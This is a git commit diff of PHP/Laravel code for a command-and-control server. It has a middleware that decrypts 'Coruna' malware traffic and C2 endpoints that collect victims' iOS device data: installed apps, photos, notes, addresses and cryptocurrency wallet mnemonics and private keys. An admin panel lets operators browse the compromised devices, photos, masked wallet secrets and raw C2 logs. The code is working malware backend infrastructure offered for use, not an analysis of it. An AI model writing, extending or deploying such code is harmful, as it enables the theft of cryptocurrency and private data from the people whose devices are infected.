init

2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
@@ -0,0 +1,52 @@
+<?php
+
+namespace App\Http\Controllers\Admin;
+
+use App\Http\Controllers\Controller;
+use Illuminate\Http\Request;
+use Illuminate\Support\Facades\Auth;
+
+class AuthController extends Controller
+{
+    public function showLogin()
+    {
+        if (Auth::guard('admin')->check()) {
+            return redirect()->route('admin.home');
+        }
+
+        return view('admin.login');
+    }
+
+    public function home()
+    {
+        return view('admin.shell');
+    }
+
+    public function login(Request $request)
+    {
+        $credentials = $request->validate([
+            'username' => 'required|string',
+            'password' => 'required|string',
+        ]);
+
+        if (Auth::guard('admin')->attempt(
+            ['username' => $credentials['username'], 'password' => $credentials['password']],
+            $request->boolean('remember')
+        )) {
+            $request->session()->regenerate();
+
+            return redirect()->intended(route('admin.home'));
+        }
+
+        return back()->withErrors(['username' => '用户名或密码错误'])->onlyInput('username');
+    }
+
+    public function logout(Request $request)
+    {
+        Auth::guard('admin')->logout();
+        $request->session()->invalidate();
+        $request->session()->regenerateToken();
+
+        return redirect()->route('admin.login');
+    }
+}
@@ -0,0 +1,88 @@
+<?php
+
+namespace App\Http\Controllers\Admin;
+
+use App\Http\Controllers\Controller;
+use App\Models\Device;
+use App\Models\Wallet;
+use Illuminate\Http\Request;
+use Illuminate\Support\Facades\Storage;
+
+class DeviceController extends Controller
+{
+    public function index(Request $request)
+    {
+        $filters = [
+            'device_key' => trim((string) $request->query('device_key', '')),
+            'model' => trim((string) $request->query('model', '')),
+            'ip' => trim((string) $request->query('ip', '')),
+            'ios' => trim((string) $request->query('ios', '')),
+            'installed_from' => trim((string) $request->query('installed_from', '')),
+            'installed_to' => trim((string) $request->query('installed_to', '')),
+        ];
+
+        $q = Device::query()->orderByDesc('updated_at');
+
+        if ($filters['device_key'] !== '') {
+            $q->where('device_id', 'like', '%'.$filters['device_key'].'%');
+        }
+        if ($filters['model'] !== '') {
+            $q->where('device_model', 'like', '%'.$filters['model'].'%');
+        }
+        if ($filters['ip'] !== '') {
+            $q->where('ip', 'like', '%'.$filters['ip'].'%');
+        }
+        if ($filters['ios'] !== '') {
+            $q->where('ios_version', 'like', '%'.$filters['ios'].'%');
+        }
+        if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
+            $q->whereDate('created_at', '>=', $filters['installed_from']);
+        }
+        if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
+            $q->whereDate('created_at', '<=', $filters['installed_to']);
+        }
+
+        $devices = $q->paginate(30)->withQueryString();
+
+        return view('admin.devices.index', compact('devices', 'filters'));
+    }
+
+    public function show(Device $device, Request $request)
+    {
+        $tab = $request->query('tab', 'apps');
+        if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
+            $tab = 'apps';
+        }
+
+        $apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
+        $events = $device->events()->orderByDesc('id')->limit(500)->get();
+        $photos = $device->photos()->orderByDesc('id')->limit(200)->get();
+        $notes = $device->notes()->orderByDesc('id')->limit(200)->get();
+        $wallets = $device->wallets()->orderByDesc('id')->get();
+        $addresses = $device->addresses()->orderByDesc('id')->get();
+
+        $maskedWallets = $wallets->map(function (Wallet $w) {
+            return [
+                'id' => $w->id,
+                'source_app' => $w->source_app,
+                'mnemonic' => Wallet::maskSecret($w->mnemonic),
+                'privkey' => Wallet::maskSecret($w->privkey),
+                'created_at' => $w->created_at,
+            ];
+        });
+
+        return view('admin.devices.show', compact(
+            'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
+        ));
+    }
+
+    public function photo(Device $device, int $photo)
+    {
+        $row = $device->photos()->whereKey($photo)->firstOrFail();
+        abort_unless(Storage::disk('local')->exists($row->path), 404);
+        $mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
+
+        return response(Storage::disk('local')->get($row->path), 200)
+            ->header('Content-Type', $mime);
+    }
+}
@@ -0,0 +1,71 @@
+<?php
+
+namespace App\Http\Controllers\Admin;
+
+use App\Http\Controllers\Controller;
+use Illuminate\Http\Request;
+use Illuminate\Support\Facades\File;
+
+class RawLogController extends Controller
+{
+    public function index(Request $request)
+    {
+        $dir = public_path('log/c2');
+        $files = [];
+        if (is_dir($dir)) {
+            foreach (File::files($dir) as $file) {
+                if ($file->getExtension() !== 'log') {
+                    continue;
+                }
+                $files[] = [
+                    'name' => $file->getFilename(),
+                    'size' => $file->getSize(),
+                    'mtime' => date('Y-m-d H:i:s', $file->getMTime()),
+                ];
+            }
+            usort($files, fn ($a, $b) => strcmp($b['name'], $a['name']));
+        }
+
+        $path = trim((string) $request->query('path', ''));
+        $device = trim((string) $request->query('device', ''));
+
+        return view('admin.logs.index', compact('files', 'path', 'device'));
+    }
+
+    public function show(Request $request, string $file)
+    {
+        $safe = basename($file);
+        if (! preg_match('/^\d{8}\.log$/', $safe)) {
+            abort(404);
+        }
+        $full = public_path('log/c2/'.$safe);
+        abort_unless(is_file($full), 404);
+
+        $path = trim((string) $request->query('path', ''));
+        $device = trim((string) $request->query('device', ''));
+        $raw = (string) file_get_contents($full);
+        $chunks = preg_split("/\r\n\r\n/", $raw) ?: [];
+        $entries = [];
+        foreach ($chunks as $chunk) {
+            $chunk = trim($chunk);
+            if ($chunk === '') {
+                continue;
+            }
+            if ($path !== '' && ! str_contains($chunk, $path)) {
+                continue;
+            }
+            if ($device !== '' && ! str_contains($chunk, $device)) {
+                continue;
+            }
+            $entries[] = $chunk;
+        }
+        $entries = array_reverse($entries);
+
+        return view('admin.logs.show', [
+            'file' => $safe,
+            'entries' => $entries,
+            'path' => $path,
+            'device' => $device,
+        ]);
+    }
+}
@@ -0,0 +1,198 @@
+<?php
+
+namespace App\Http\Controllers\C2;
+
+use App\Http\Controllers\Controller;
+use App\Services\CorunaArchive;
+use App\Services\CorunaCrypto;
+use App\Services\IngestService;
+use Illuminate\Http\Request;
+use Illuminate\Http\Response;
+use Illuminate\Support\Facades\Storage;
+
+class C2Controller extends Controller
+{
+    /** @var CorunaCrypto */
+    private $crypto;
+
+    /** @var CorunaArchive */
+    private $archive;
+
+    /** @var IngestService */
+    private $ingest;
+
+    public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
+    {
+        $this->crypto = $crypto;
+        $this->archive = $archive;
+        $this->ingest = $ingest;
+    }
+
+    public function query(): Response
+    {
+        return response('OK', 200)->header('Content-Type', 'text/plain');
+    }
+
+    public function avatarSet(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+
+        return $this->encryptedAck();
+    }
+
+    public function userGet(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        if ($device && is_array($payload)) {
+            $this->ingest->ingestInstalledApps($device, $payload);
+        }
+
+        return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
+    }
+
+    public function avatarPut(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        if ($device && is_array($payload)) {
+            $this->ingest->ingestDeviceEvent($device, $payload);
+        }
+
+        return $this->encryptedAck();
+    }
+
+    public function avatarStatus(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        if ($device && is_array($payload)) {
+            $this->ingest->ingestAddresses($device, $payload);
+            // keystore-ish blobs
+            if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) {
+                $this->ingest->ingestWalletSecrets($device, $payload);
+            }
+        }
+
+        return $this->encryptedAck();
+    }
+
+    public function status(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        if ($device && is_array($payload)) {
+            $this->ingest->ingestAddresses($device, $payload);
+        }
+
+        return $this->encryptedAck();
+    }
+
+    public function set(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        if ($device && is_array($payload)) {
+            $this->ingest->ingestWalletSecrets($device, $payload);
+        }
+
+        return $this->encryptedAck();
+    }
+
+    public function check(Request $request): Response
+    {
+        $deviceKey = $request->attributes->get('coruna_device_key')
+            ?: $request->input('d')
+            ?: $request->input('f');
+        $device = $this->ingest->upsertDevice(
+            $request,
+            array_filter(['d' => $deviceKey]),
+            $deviceKey ? (string) $deviceKey : null
+        );
+
+        $batchBase = (string) ($request->input('batchBase')
+            ?? $request->input('batch_base')
+            ?? $request->input('base')
+            ?? '0');
+        if ($batchBase === '') {
+            $batchBase = '0';
+        }
+
+        $counters = [
+            'count' => $request->input('count'),
+            'total' => $request->input('total'),
+            'index' => $request->input('index'),
+            'batchBase' => $batchBase,
+        ];
+
+        $attachmentRel = null;
+        if ($request->hasFile('file') && $device) {
+            $bytes = file_get_contents($request->file('file')->getRealPath());
+            $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
+            $extracted = $this->archive->extract($bytes, $work, $batchBase);
+            $attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
+            Storage::disk('local')->makeDirectory($attachmentRel);
+            if (! empty($extracted['files'])) {
+                $this->ingest->ingestPhotos($device, $extracted['files'], $counters);
+            }
+            create_log([
+                'event' => 'check_extract',
+                'device_key' => $device->device_id,
+                'attachment_path' => $attachmentRel,
+                'extract' => [
+                    'ok' => $extracted['ok'],
+                    'files' => array_map('basename', $extracted['files']),
+                    'password_recipe' => $extracted['password_recipe'],
+                    'stderr' => substr((string) $extracted['stderr'], 0, 2000),
+                ],
+                'counters' => $counters,
+            ], 'c2');
+        }
+
+        // Prefer encrypted ack (clients that expect JSON); fall back same as other routes
+        return $this->encryptedAck();
+    }
+
+    public function avatarPic(Request $request): Response
+    {
+        $payload = $request->attributes->get('coruna_payload');
+        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
+        if ($device) {
+            $this->ingest->ingestNotes($device, is_array($payload) ? $payload : null);
+        }
+
+        return $this->encryptedAck();
+    }
+
+    public function profileNop(Request $request): Response
+    {
+        return $this->encryptedAck();
+    }
+
+    public function linkConfigList(Request $request): Response
+    {
+        return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
+    }
+
+    public function linkConfigIcon(Request $request): Response
+    {
+        return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]);
+    }
+
+    /**
+     * @param  mixed  $data
+     */
+    private function encryptedAck($data = null): Response
+    {
+        if ($data === null) {
+            $data = ['code' => 0, 'msg' => 'ok', 'data' => null];
+        }
+        $enc = $this->crypto->encryptJson($data);
+
+        return response($enc['body'], 200)
+            ->header('Content-Type', 'text/plain')
+            ->header('timestamp', $enc['timestamp']);
+    }
+
+}
@@ -0,0 +1,8 @@
+<?php
+
+namespace App\Http\Controllers;
+
+abstract class Controller
+{
+    //
+}
@@ -0,0 +1,141 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use App\Services\CorunaCrypto;
+use Closure;
+use Illuminate\Http\Request;
+use Symfony\Component\HttpFoundation\Response;
+
+class DecryptCorunaBody
+{
+    /** @var CorunaCrypto */
+    private $crypto;
+
+    public function __construct(CorunaCrypto $crypto)
+    {
+        $this->crypto = $crypto;
+    }
+
+    public function handle(Request $request, Closure $next): Response
+    {
+        $headers = [];
+        foreach (['timestamp', 'x-hash', 'sdkv', 'ver', 'accept', 'content-type', 'user-agent'] as $h) {
+            if ($request->headers->has($h)) {
+                $headers[$h] = $request->headers->get($h);
+            }
+        }
+
+        $raw = $request->getContent();
+        $timestamp = (string) $request->header('timestamp', '');
+        $payload = null;
+        $decryptOk = false;
+        $error = null;
+        $deviceKey = null;
+
+        $isMultipart = str_contains((string) $request->header('content-type'), 'multipart/');
+        $path = '/'.ltrim($request->path(), '/');
+
+        if ($request->isMethod('GET')) {
+            $decryptOk = true;
+        } elseif ($isMultipart) {
+            $payload = [
+                'form' => $request->except(['file']),
+                'has_file' => $request->hasFile('file'),
+            ];
+            $decryptOk = true;
+            $deviceKey = $request->input('d') ?: $request->input('f');
+        } elseif ($raw !== '' && $timestamp !== '') {
+            try {
+                $payload = $this->crypto->decryptJsonBody($raw, $timestamp);
+                $decryptOk = true;
+            } catch (\Throwable $e) {
+                $error = $e->getMessage();
+            }
+        } elseif ($raw === '') {
+            $decryptOk = true;
+        } else {
+            $error = 'missing timestamp or body';
+        }
+
+        // Device id currently only from d/f (same value in live traffic).
+        if (is_array($payload)) {
+            foreach (['d', 'f'] as $k) {
+                if (! empty($payload[$k]) && is_string($payload[$k])) {
+                    $deviceKey = $payload[$k];
+                    break;
+                }
+            }
+        }
+
+        create_log([
+            'dir' => 'in',
+            'method' => $request->method(),
+            'path' => $path,
+            'ip' => $request->ip(),
+            'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
+            'timestamp_hdr' => $timestamp ?: null,
+            'headers' => $headers,
+            // 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
+            'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
+            'decrypt_ok' => $decryptOk,
+            'error' => $error,
+        ], 'c2');
+
+        $request->attributes->set('coruna_payload', $payload);
+        $request->attributes->set('coruna_decrypt_ok', $decryptOk);
+        $request->attributes->set('coruna_device_key', $deviceKey);
+
+        $response = $next($request);
+
+        $this->logResponse($request, $response, $path, $deviceKey);
+
+        return $response;
+    }
+
+    private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
+    {
+        $respBody = (string) $response->getContent();
+        $respTs = (string) $response->headers->get('timestamp', '');
+        $respHeaders = [];
+        foreach (['timestamp', 'content-type', 'content-length'] as $h) {
+            if ($response->headers->has($h)) {
+                $respHeaders[$h] = $response->headers->get($h);
+            }
+        }
+
+        $plain = null;
+        $decryptOk = false;
+        $error = null;
+
+        // GET /api/user/query → plain "OK"
+        if ($request->isMethod('GET') || $respTs === '') {
+            $plain = strlen($respBody) > 200000 ? substr($respBody, 0, 200000) : $respBody;
+            $decryptOk = true;
+        } elseif ($respBody !== '') {
+            try {
+                $plain = $this->crypto->decryptJsonBody($respBody, $respTs);
+                $decryptOk = true;
+            } catch (\Throwable $e) {
+                $error = $e->getMessage();
+                $plain = strlen($respBody) > 2000 ? substr($respBody, 0, 2000) : $respBody;
+            }
+        }
+
+        create_log([
+            'dir' => 'out',
+            'method' => $request->method(),
+            'path' => $path,
+            'ip' => $request->ip(),
+            'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
+            'status' => $response->getStatusCode(),
+            'timestamp_hdr' => $respTs ?: null,
+            'headers' => $respHeaders,
+            'payload' => is_array($plain) || $plain === null || is_string($plain)
+                ? $plain
+                : ['value' => $plain],
+            'decrypt_ok' => $decryptOk,
+            'error' => $error,
+        ], 'c2');
+    }
+}